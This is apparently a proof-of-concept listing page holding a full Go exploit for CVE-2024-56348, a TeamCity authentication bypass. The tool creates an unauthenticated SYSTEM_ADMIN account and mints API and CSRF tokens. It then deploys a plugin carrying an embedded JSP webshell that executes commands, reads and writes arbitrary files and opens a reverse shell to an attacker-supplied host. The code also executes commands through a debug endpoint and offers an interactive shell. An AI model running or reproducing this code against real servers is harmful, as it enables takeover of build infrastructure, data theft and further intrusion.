5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2024-56348.go GO
// CVE-2024-56348 — JetBrains TeamCity Authentication Bypass + RCE
// Affected: TeamCity on-premises < 2024.12
// Impact: Unauthenticated attacker can create SYSTEM_ADMIN accounts and achieve RCE
// Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
// Repo: https://github.com/joshuavanderpoll/cve-2024-56348
package main

import (
	"archive/zip"
	"bufio"
	"bytes"
	"crypto/tls"
	"encoding/base64"
	"encoding/json"
	"encoding/xml"
	"flag"
	"fmt"
	"io"
	"math/rand"
	"mime/multipart"
	"net/http"
	"net/http/cookiejar"
	"net/textproto"
	"net/url"
	"os"
	"regexp"
	"strings"
	"time"
)

const (
	pink   = "\033[95m"
	bold   = "\033[1m"
	green  = "\033[92m"
	red    = "\033[91m"
	yellow = "\033[93m"
	cyan   = "\033[96m"
	reset  = "\033[0m"
)

const (
	repoURL   = "https://github.com/joshuavanderpoll/cve-2024-56348"
	userAgent = "Mozilla/5.0 AppleWebKit/537.36 (CVE-2024-56348; +https://github.com/joshuavanderpoll/cve-2024-56348)"
)

var (
	client           *http.Client
	csrfToken        string
	deployedShellURL string
)

func init() {
	rand.Seed(time.Now().UnixNano())

	jar, _ := cookiejar.New(nil)

	client = &http.Client{
		Timeout: 30 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
		Jar: jar,
	}
}

func do(method, rawURL string, body io.Reader, headers map[string]string) (*http.Response, string, error) {
	req, err := http.NewRequest(method, rawURL, body)
	if err != nil {
		return nil, "", err
	}

	req.Header.Set("User-Agent", userAgent)

	for k, v := range headers {
		req.Header.Set(k, v)
	}

	if csrfToken != "" {
		req.Header.Set("X-TC-CSRF-Token", csrfToken)
	}

	resp, err := client.Do(req)
	if err != nil {
		return nil, "", err
	}
	defer resp.Body.Close()

	b, _ := io.ReadAll(resp.Body)

	return resp, string(b), nil
}

func randomString(n int, charset string) string {
	b := make([]byte, n)

	for i := range b {
		b[i] = charset[rand.Intn(len(charset))]
	}

	return string(b)
}

// checkVulnerable probes the auth-bypass endpoint to confirm the target
// exposes the unauthenticated REST API surface.
func checkVulnerable(target string) bool {
	resp, body, err := do("GET", target+"/hax?jsp=/app/rest/server;.jsp", nil, nil)
	if err != nil {
		return false
	}

	if resp.StatusCode != 200 || (!strings.Contains(body, "<server") && !strings.Contains(body, "version=")) {
		return false
	}

	return true
}

// addUser creates a SYSTEM_ADMIN account via the unauthenticated REST bypass.
func addUser(target, username, password string) string {
	type role struct {
		RoleID string `json:"roleId"`
		Scope  string `json:"scope"`
	}

	type roles struct {
		Role []role `json:"role"`
	}

	payload := map[string]interface{}{
		"username": username,
		"password": password,
		"email":    username + "@example.com",
		"roles":    roles{Role: []role{{RoleID: "SYSTEM_ADMIN", Scope: "g"}}},
	}

	b, _ := json.Marshal(payload)

	resp, body, err := do(
		"POST",
		target+"/hax?jsp=/app/rest/users;.jsp",
		bytes.NewReader(b),
		map[string]string{"Content-Type": "application/json"},
	)

	if err != nil {
		fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err)
		os.Exit(1)
	}

	if resp.StatusCode != 200 {
		fmt.Printf("%s[-]%s Failed to create user (HTTP %d). Target may already be patched.\n", red, reset, resp.StatusCode)
		os.Exit(1)
	}

	type userXML struct {
		ID string `xml:"id,attr"`
	}

	var u userXML

	if err := xml.Unmarshal([]byte(body), &u); err != nil || u.ID == "" {
		fmt.Printf("%s[-]%s Failed to parse user creation response.\n", red, reset)
		os.Exit(1)
	}

	fmt.Printf("%s[+]%s Created user: %s%s%s / %s%s%s (id: %s)\n",
		green, reset, cyan, username, reset, cyan, password, reset, u.ID)

	return u.ID
}

// getToken mints an API token for the new admin account.
func getToken(target, userID string) string {
	name := randomString(10, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")

	u := fmt.Sprintf("%s/hax?jsp=/app/rest/users/id:%s/tokens/%s;.jsp", target, userID, name)

	_, body, err := do("POST", u, nil, nil)

	if err != nil {
		fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err)
		os.Exit(1)
	}

	type tokenXML struct {
		Value string `xml:"value,attr"`
	}

	var t tokenXML

	if err := xml.Unmarshal([]byte(body), &t); err != nil || t.Value == "" {
		fmt.Printf("%s[-]%s Failed to parse token response.\n", red, reset)
		os.Exit(1)
	}

	fmt.Printf("%s[+]%s Token: %s%s%s\n", green, reset, cyan, t.Value, reset)

	return t.Value
}

// getCSRFToken fetches the CSRF token required for admin requests.
func getCSRFToken(target, token string) string {
	resp, body, err := do(
		"POST",
		target+"/authenticationTest.html?csrf",
		nil,
		map[string]string{"Authorization": "Bearer " + token},
	)

	if err != nil || resp.StatusCode != 200 {
		fmt.Printf("%s[-]%s Failed to fetch CSRF token.\n", red, reset)
		os.Exit(1)
	}

	csrf := strings.TrimSpace(body)

	fmt.Printf("%s[+]%s CSRF token: %s%s%s\n", green, reset, cyan, csrf, reset)

	return csrf
}

// getOS detects the remote OS and prints available system info.
func getOS(target string) string {
	_, body, err := do("GET", target+"/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp", nil, nil)
	if err != nil {
		return "linux"
	}

	// Extract all interesting system properties in one pass.
	interesting := []string{"os.name", "os.version", "os.arch", "java.version", "java.vendor", "user.name", "user.home"}
	props := make(map[string]string)

	reProp := regexp.MustCompile(`name="([^"]+)"\s+value="([^"]+)"`)
	for _, m := range reProp.FindAllStringSubmatch(body, -1) {
		for _, key := range interesting {
			if m[1] == key {
				props[key] = m[2]
			}
		}
	}

	if v := props["os.name"]; v != "" {
		fmt.Printf("%s[*]%s OS: %s%s %s (%s)%s\n", cyan, reset, cyan, v, props["os.version"], props["os.arch"], reset)
	}
	if v := props["java.version"]; v != "" {
		fmt.Printf("%s[*]%s Java: %s%s (%s)%s\n", cyan, reset, cyan, v, props["java.vendor"], reset)
	}
	if v := props["user.name"]; v != "" {
		fmt.Printf("%s[*]%s Running as: %s%s%s (home: %s)%s\n", cyan, reset, cyan, v, reset, props["user.home"], reset)
	}

	if osName := props["os.name"]; osName != "" {
		return strings.ToLower(osName)
	}

	return "linux"
}

// buildPluginZip builds the plugin ZIP in memory; JSP dispatches on "action": cmd, read, write, shell.
func buildPluginZip(pluginName string) []byte {
	jsp := `<%@ page pageEncoding="utf-8"%>
<%@ page import="java.io.*,java.net.*,java.util.*" %>
<%
    String action = request.getParameter("action");
    if (action == null) action = "cmd";

    if (action.equals("cmd")) {
        String query = request.getParameter("cmd");
        if (query != null) {
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")
                    ? new String[]{"cmd.exe", "/c", query}
                    : new String[]{"/bin/sh", "-c", query};
                Process       p    = Runtime.getRuntime().exec(cmd);
                StringBuilder sOut = new StringBuilder();
                StringBuilder sErr = new StringBuilder();
                Thread tOut = new Thread(() -> { try { Scanner sc = new Scanner(p.getInputStream()).useDelimiter("\\A"); if (sc.hasNext()) sOut.append(sc.next()); } catch (Exception ignore) {} });
                Thread tErr = new Thread(() -> { try { Scanner sc = new Scanner(p.getErrorStream()).useDelimiter("\\A"); if (sc.hasNext()) sErr.append(sc.next()); } catch (Exception ignore) {} });
                tOut.start(); tErr.start();
                int exit = p.waitFor(); tOut.join(); tErr.join();
                response.setHeader("X-Exit-Code", String.valueOf(exit));
                if (sErr.length() > 0) response.setHeader("X-Stderr", java.util.Base64.getEncoder().encodeToString(sErr.toString().getBytes("UTF-8")));
                out.print(sOut.toString());
            } catch (Exception e) { response.setHeader("X-Exit-Code", "-1"); out.print("ERROR: " + e.getMessage()); }
        }
    } else if (action.equals("read")) {
        String path = request.getParameter("path");
        if (path != null) {
            try {
                Scanner sc = new Scanner(new File(path)).useDelimiter("\\A");
                out.print(sc.hasNext() ? sc.next() : "");
                sc.close();
            } catch (Exception e) {
                response.setStatus(404);
            }
        }
    } else if (action.equals("write")) {
        String path    = request.getParameter("path");
        String content = request.getParameter("content");
        if (path != null && content != null) {
            FileWriter fw = new FileWriter(path);
            fw.write(content);
            fw.close();
            out.print("ok");
        }
    } else if (action.equals("shell")) {
        // Background thread — HTTP response returns before the shell exits.
        final String lhost  = request.getParameter("lhost");
        final int    lport  = Integer.parseInt(request.getParameter("lport"));
        final String osName = System.getProperty("os.name").toLowerCase();
        new Thread(() -> {
            try {
                String shell = osName.contains("windows") ? "cmd.exe" : "/bin/sh";
                Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
                Socket s = new Socket(lhost, lport);
                final InputStream  pi = p.getInputStream(),  si = s.getInputStream();
                final OutputStream po = p.getOutputStream(), so = s.getOutputStream();
                new Thread(() -> {
                    try {
                        byte[] buf = new byte[1024]; int n;
                        while ((n = si.read(buf)) != -1) { po.write(buf, 0, n); po.flush(); }
                    } catch (Exception ignore) {}
                }).start();
                byte[] buf = new byte[1024]; int n;
                while ((n = pi.read(buf)) != -1) { so.write(buf, 0, n); so.flush(); }
                s.close();
                p.destroy();
            } catch (Exception ignore) {}
        }).start();
        out.print("ok");
    }
%>`

	pluginXML := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
  <info>
    <name>%s</name>
    <display-name>%s</display-name>
    <version>1.0</version>
    <vendor><name>x</name></vendor>
  </info>
  <deployment use-separate-classloader="true"/>
</teamcity-plugin>`, pluginName, pluginName)

	// Inner JAR: ZIP containing the JSP under buildServerResources/.
	var jarBuf bytes.Buffer
	jarW := zip.NewWriter(&jarBuf)
	f, _ := jarW.Create("buildServerResources/" + pluginName + ".jsp")
	f.Write([]byte(jsp))
	jarW.Close()

	// Outer plugin ZIP: wrap the JAR and plugin descriptor.
	var zipBuf bytes.Buffer
	zipW := zip.NewWriter(&zipBuf)
	j, _ := zipW.Create("server/" + pluginName + ".jar")
	j.Write(jarBuf.Bytes())
	x, _ := zipW.Create("teamcity-plugin.xml")
	x.Write([]byte(pluginXML))
	zipW.Close()

	return zipBuf.Bytes()
}

func uploadPlugin(target, pluginName, token string, zipBytes []byte) bool {
	var body bytes.Buffer
	mw := multipart.NewWriter(&body)

	mw.WriteField("fileName", pluginName+".zip")

	h := make(textproto.MIMEHeader)
	h.Set("Content-Disposition", fmt.Sprintf(`form-data; name="file:fileToUpload"; filename="%s.zip"`, pluginName))
	h.Set("Content-Type", "application/zip")

	part, _ := mw.CreatePart(h)
	part.Write(zipBytes)
	mw.Close()

	// Fresh cookie jar to avoid stale session during upload.
	jar, _ := cookiejar.New(nil)
	client.Jar = jar

	resp, _, err := do("POST", target+"/admin/pluginUpload.html", &body,
		map[string]string{
			"Authorization": "Bearer " + token,
			"Content-Type":  mw.FormDataContentType(),
		})

	return err == nil && resp.StatusCode == 200
}

// loadPlugin locates the plugin UUID in the admin page and enables it.
func loadPlugin(target, pluginName, token string) bool {
	_, body, err := do("GET", target+"/admin/admin.html?item=plugins", nil,
		map[string]string{"Authorization": "Bearer " + token})

	if err != nil {
		return false
	}

	re := regexp.MustCompile(`BS\.Plugins\.registerPlugin\('` +
		regexp.QuoteMeta(pluginName) + `', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);`)

	m := re.FindStringSubmatch(body)

	if len(m) < 2 {
		fmt.Printf("%s[-]%s Plugin UUID not found after upload.\n", red, reset)
		return false
	}

	data := url.Values{}
	data.Set("enabled", "true")
	data.Set("action", "setEnabled")
	data.Set("uuid", m[1])

	resp, body2, err := do("POST", target+"/admin/plugins.html",
		strings.NewReader(data.Encode()),
		map[string]string{
			"Authorization": "Bearer " + token,
			"Content-Type":  "application/x-www-form-urlencoded",
		})

	return err == nil && resp.StatusCode == 200 &&
		(strings.Contains(body2, "loaded successfully") || strings.Contains(body2, "already loaded"))
}

type cmdResult struct {
	Stdout   string
	Stderr   string
	ExitCode int
}

// runCommandFull runs a command via the JSP shell and returns stdout, stderr, and exit code.
func runCommandFull(shellURL, command, token string) cmdResult {
	data := url.Values{}
	data.Set("action", "cmd")
	data.Set("cmd", command)

	resp, body, err := do("POST", shellURL, strings.NewReader(data.Encode()),
		map[string]string{
			"Authorization": "Bearer " + token,
			"Content-Type":  "application/x-www-form-urlencoded",
		})

	if err != nil {
		return cmdResult{Stderr: err.Error(), ExitCode: -1}
	}

	res := cmdResult{Stdout: strings.TrimSpace(body)}

	if code := resp.Header.Get("X-Exit-Code"); code != "" {
		fmt.Sscanf(code, "%d", &res.ExitCode)
	}

	if enc := resp.Header.Get("X-Stderr"); enc != "" {
		if b, err := base64.StdEncoding.DecodeString(enc); err == nil {
			res.Stderr = strings.TrimRight(string(b), "\n")
		}
	}

	return res
}

func writeFileViaPlugin(shellURL, filePath, content, token string) bool {
	data := url.Values{}
	data.Set("action", "write")
	data.Set("path", filePath)
	data.Set("content", content)

	resp, _, err := do("POST", shellURL, strings.NewReader(data.Encode()),
		map[string]string{
			"Authorization": "Bearer " + token,
			"Content-Type":  "application/x-www-form-urlencoded",
		})

	return err == nil && resp.StatusCode == 200
}

func readFileViaPlugin(shellURL, filePath, token string) string {
	data := url.Values{}
	data.Set("action", "read")
	data.Set("path", filePath)

	resp, body, err := do("POST", shellURL, strings.NewReader(data.Encode()),
		map[string]string{
			"Authorization": "Bearer " + token,
			"Content-Type":  "application/x-www-form-urlencoded",
		})

	if err != nil {
		fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err)
		return ""
	}

	if resp.StatusCode == 404 {
		fmt.Printf("%s[-]%s File not found on remote: %s\n", red, reset, filePath)
		return ""
	}

	return body
}

func triggerShell(shellURL, lhost, token string, lport int) {
	data := url.Values{}
	data.Set("action", "shell")
	data.Set("lhost", lhost)
	data.Set("lport", fmt.Sprintf("%d", lport))

	do("POST", shellURL, strings.NewReader(data.Encode()),
		map[string]string{
			"Authorization": "Bearer " + token,
			"Content-Type":  "application/x-www-form-urlencoded",
		})
}

// runCommandDebug runs a command via the REST debug processes endpoint; returns (output, available=false) on 404.
func runCommandDebug(target, osName, command, token string) (string, bool) {
	encoded := url.QueryEscape(command)

	var u string

	if strings.Contains(osName, "windows") {
		u = fmt.Sprintf("%s/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=%s", target, encoded)
	} else {
		u = fmt.Sprintf("%s/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=%s", target, encoded)
	}

	resp, body, err := do("POST", u, nil,
		map[string]string{"Authorization": "Bearer " + token})

	if err != nil {
		return "", true
	}

	if resp.StatusCode == 404 {
		return "", false
	}

	re := regexp.MustCompile(`(?s)StdOut:(.*?)StdErr:(.*?)$`)

	if m := re.FindStringSubmatch(body); len(m) == 3 {
		out := strings.TrimSpace(m[1])
		errOut := strings.TrimSpace(m[2])

		if out != "" {
			return out, true
		}

		if errOut != "" {
			return strings.SplitN(errOut, "\n\n", 2)[0], true
		}

		return "", true
	}

	return body, true
}

// ensurePluginShell deploys the JSP plugin once per run and returns its URL.
func ensurePluginShell(target, token string) string {
	if deployedShellURL != "" {
		return deployedShellURL
	}

	pluginName := randomString(8, "abcdefghijklmnopqrstuvwxyz")
	zipBytes := buildPluginZip(pluginName)

	fmt.Printf("%s[@]%s Deploying plugin webshell...\n", yellow, reset)

	if !uploadPlugin(target, pluginName, token, zipBytes) {
		fmt.Printf("%s[-]%s Plugin upload failed.\n", red, reset)
		os.Exit(1)
	}

	if !loadPlugin(target, pluginName, token) {
		fmt.Printf("%s[-]%s Plugin activation failed.\n", red, reset)
		os.Exit(1)
	}

	deployedShellURL = fmt.Sprintf("%s/plugins/%s/%s.jsp", target, pluginName, pluginName)

	fmt.Printf("%s[+]%s Plugin webshell deployed: %s%s%s\n", green, reset, cyan, deployedShellURL, reset)

	return deployedShellURL
}

func main() {
	fmt.Printf("%s%s", pink, bold)
	fmt.Println(`   _____   _____   ___ __ ___ _ _      ___   __ _____ _  ___ `)
	fmt.Println(`  / __\ \ / / __|_|_  )  \_  ) | | ___| __| / /|__ / | |( _ )`)
	fmt.Println(` | (__ \ V /| _|___/ / () / /|_  _|___|__ \/ _ \|_ \_  _/ _ \`)
	fmt.Println(`  \___| \_/ |___| /___\__/___| |_|    |___/\___/___/ |_|\___/`)
	fmt.Printf("%s\n", reset)
	fmt.Printf("%s%s%s%s\n\n", pink, bold, repoURL, reset)

	targetFlag := flag.String("t", "", "Target URL, e.g. http://127.0.0.1:8111")
	commandFlag := flag.String("command", "", "Command to execute on the remote host")
	shellFlag := flag.Bool("shell", false, "Spawn a reverse shell (requires -lhost and -lport)")
	lhostFlag := flag.String("lhost", "", "Listener host for the reverse shell")
	lportFlag := flag.Int("lport", 0, "Listener port for the reverse shell")
	writeFileFlag := flag.String("write-file", "", "Remote path to write to (requires -file-content)")
	fileContentFlag := flag.String("file-content", "", "Content to write when using -write-file")
	readFileFlag := flag.String("read-file", "", "Remote file path to read and print")

	flag.Parse()

	if *targetFlag == "" {
		fmt.Printf("%s[-]%s Usage: exp -t <target> [-command <cmd>] [-shell -lhost <host> -lport <port>] [-write-file <path> -file-content <data>] [-read-file <path>]\n", red, reset)
		os.Exit(1)
	}

	t := strings.TrimRight(*targetFlag, "/")

	if !strings.HasPrefix(t, "http://") && !strings.HasPrefix(t, "https://") {
		t = "http://" + t
	}

	fmt.Printf("%s[*]%s Target: %s%s%s\n", cyan, reset, cyan, t, reset)

	// Confirm auth-bypass present before proceeding.
	fmt.Printf("%s[@]%s Checking for CVE-2024-56348...\n", yellow, reset)

	if !checkVulnerable(t) {
		fmt.Printf("%s[-]%s Target does not appear to be vulnerable to CVE-2024-56348.\n", red, reset)
		os.Exit(1)
	}

	fmt.Printf("%s[+]%s Target is vulnerable!\n\n", green, reset)

	username := randomString(8, "abcdefghijklmnopqrstuvwxyz0123456789")
	password := randomString(12, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")

	userID := addUser(t, username, password)
	token := getToken(t, userID)
	csrfToken = getCSRFToken(t, token)

	osName := getOS(t)
	fmt.Println()

	if *shellFlag {
		if *lhostFlag == "" || *lportFlag == 0 {
			fmt.Printf("%s[-]%s -shell requires both -lhost and -lport.\n", red, reset)
			os.Exit(1)
		}

		shellURL := ensurePluginShell(t, token)

		fmt.Printf("%s[*]%s Triggering reverse shell to %s:%d — have your listener ready.\n",
			cyan, reset, *lhostFlag, *lportFlag)

		triggerShell(shellURL, *lhostFlag, token, *lportFlag)

		fmt.Printf("%s[+]%s Shell triggered. Check your listener.\n\n", green, reset)
	}

	if *writeFileFlag != "" {
		if *fileContentFlag == "" {
			fmt.Printf("%s[-]%s -write-file requires -file-content.\n", red, reset)
			os.Exit(1)
		}

		shellURL := ensurePluginShell(t, token)

		fmt.Printf("%s[@]%s Writing to remote file: %s\n", yellow, reset, *writeFileFlag)

		if writeFileViaPlugin(shellURL, *writeFileFlag, *fileContentFlag, token) {
			fmt.Printf("%s[+]%s File written successfully.\n\n", green, reset)
		} else {
			fmt.Printf("%s[-]%s File write failed.\n\n", red, reset)
		}
	}

	if *readFileFlag != "" {
		shellURL := ensurePluginShell(t, token)

		fmt.Printf("%s[@]%s Reading remote file: %s\n", yellow, reset, *readFileFlag)

		content := readFileViaPlugin(shellURL, *readFileFlag, token)

		if content != "" {
			fmt.Printf("%s[+]%s Contents of %s:\n%s\n\n", green, reset, *readFileFlag, content)
		}
	}

	if *commandFlag != "" {
		fmt.Printf("%s[@]%s Executing: %s\n", yellow, reset, *commandFlag)

		out, debugAvail := runCommandDebug(t, osName, *commandFlag, token)

		if !debugAvail {
			// Debug endpoint unavailable — fall back to JSP plugin.
			shellURL := ensurePluginShell(t, token)
			res := runCommandFull(shellURL, *commandFlag, token)

			if res.Stdout != "" {
				fmt.Printf("%s[+]%s Output:\n%s\n\n", green, reset, res.Stdout)
			}

			if res.Stderr != "" {
				fmt.Printf("%s[-]%s Stderr:\n%s%s%s\n\n", red, reset, red, res.Stderr, reset)
			}

			if res.ExitCode != 0 {
				fmt.Printf("%s[-]%s Exit code: %d\n\n", red, reset, res.ExitCode)
			}
		} else if out != "" {
			fmt.Printf("%s[+]%s Output:\n%s\n\n", green, reset, out)
		}
	}

	if !*shellFlag && *writeFileFlag == "" && *readFileFlag == "" && *commandFlag == "" {
		// No action specified — drop into interactive shell.
		fmt.Printf("%s[*]%s No action specified, starting interactive shell. Type 'exit' to quit.\n\n", cyan, reset)

		var shellURL string
		usePlugin := false

		_, debugAvail := runCommandDebug(t, osName, "echo test", token)

		if !debugAvail {
			shellURL = ensurePluginShell(t, token)
			usePlugin = true
		}

		scanner := bufio.NewScanner(os.Stdin)
		exitCode := 0

		for {
			if exitCode == 0 {
				fmt.Printf("%s[%d]%s $ ", green, exitCode, reset)
			} else {
				fmt.Printf("%s[%d]%s $ ", red, exitCode, reset)
			}

			if !scanner.Scan() {
				fmt.Println()
				break
			}

			cmd := strings.TrimSpace(scanner.Text())

			if cmd == "" {
				continue
			}

			if cmd == "exit" || cmd == "quit" {
				break
			}

			if usePlugin {
				res := runCommandFull(shellURL, cmd, token)

				if res.Stdout != "" {
					fmt.Println(res.Stdout)
				}

				if res.Stderr != "" {
					fmt.Printf("%s%s%s\n", red, res.Stderr, reset)
				}

				exitCode = res.ExitCode
			} else {
				out, _ := runCommandDebug(t, osName, cmd, token)

				if out != "" {
					fmt.Println(out)
				}

				exitCode = 0
			}
		}
	}

	fmt.Printf("\n⭐ If this tool helped you, consider starring the repo: %s%s%s%s\n\n",
		pink, bold, repoURL, reset)
}